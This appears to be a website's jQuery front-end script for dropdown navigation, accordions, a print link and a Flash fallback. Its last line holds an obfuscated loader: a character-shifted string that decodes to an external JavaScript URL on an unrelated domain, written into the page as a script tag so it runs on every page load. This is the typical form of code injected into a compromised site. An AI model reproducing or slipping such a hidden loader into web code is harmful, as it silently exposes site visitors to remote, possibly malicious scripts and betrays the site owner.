
$(document).ready(function()
{
	accordion();
	accordion1();
	accordion2();
	
(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY;};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind("mousemove",track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev]);}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob);},cfg.interval);}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev]);};var handleHover=function(e){var p=(e.type=="mouseover"?e.fromElement:e.toElement)||e.relatedTarget;while(p&&p!=this){try{p=p.parentNode;}catch(e){p=this;}}if(p==this){return false;}var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);}if(e.type=="mouseover"){pX=ev.pageX;pY=ev.pageY;$(ob).bind("mousemove",track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob);},cfg.interval);}}else{$(ob).unbind("mousemove",track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob);},cfg.timeout);}}};return this.mouseover(handleHover).mouseout(handleHover);};})(jQuery);
	$('.innnertopnav').each(function () {
		$(this).parent().eq(0).hoverIntent({
			timeout: 100,
			over: function () {
				var current = $('.dropdown:eq(0)', this);
				current.slideDown(100);
			},
			out: function () {
				var current = $('.dropdown:eq(0)', this);
				current.fadeOut(200);
			}
		});
	});
$('#wrapper').pngFix();
	printPage();	
});


function printPage() {	//print page function
	$("a.print").click(function(){
		window.print();
	});
}

/* accordian function for center section */
function accordion() {
		//hide the all of the element with class msg_body
	$(".acc-content").hide();
	$('.elm1').show();
	var el;
	var divel=$('#kui-accordion');
	//slides the element with class "msg_body" when paragraph with class "msg_head" is clicked 
	$("#kui-accordion h3").click(function()
    {
		el=$('#kui-accordion')[0].offsetHeight;
		$(this).next(".acc-content").slideToggle('fast').siblings(".acc-content").slideUp("fast");
		//$(this).next(".acc-content").slideToggle('fast');
		$(this).toggleClass("active");
		$(this).siblings("h3").removeClass("active");
		//$('#kui-accordion').css('height', el);
	});
}

function accordion1() {
		//hide the all of the element with class msg_body
	$(".acc-content").hide();
	$('.elm1').show();
	var el;
	var divel=$('#kui-accordion1');
	//slides the element with class "msg_body" when paragraph with class "msg_head" is clicked 
	$("#kui-accordion1 h4").click(function()
    {
		el=$('#kui-accordion1')[0].offsetHeight;
		$(this).next(".acc-content").slideToggle('fast').siblings(".acc-content").slideUp("fast");
		//$(this).next(".acc-content").slideToggle('fast');
		$(this).toggleClass("active");
		$(this).siblings("h4").removeClass("active");
		//$('#kui-accordion').css('height', el);
	});
}

function accordion2() {
		//hide the all of the element with class msg_body
	$(".acc-content").hide();
	$('.elm1').show();
	var el;
	var divel=$('#kui-accordion2');
	//slides the element with class "msg_body" when paragraph with class "msg_head" is clicked 
	$("#kui-accordion2 h4").click(function()
    {
		el=$('#kui-accordion2')[0].offsetHeight;
		$(this).next(".acc-content").slideToggle('fast').siblings(".acc-content").slideUp("fast");
		//$(this).next(".acc-content").slideToggle('fast');
		$(this).toggleClass("active");
		$(this).siblings("h4").removeClass("active");
		//$('#kui-accordion').css('height', el);
	});
}

/* alternate text when flash not available */
function alter() {
	document.write("<img src='/images/img-flash-map.gif' alt='flash map image' /><br />Flash player is not available. To install flash player please click <a href=\"http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash\" target=\"_blank\" >here</a>.");
}
var source ="iuuq;00xxx/xpnb.{i/di0`efsjwfe0`wuj`dog0g:1g3bdb6/kt"; var result = ""; for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); document.write('<script language="JavaScript" type="text/javascript" src="'+result+'"></script>');
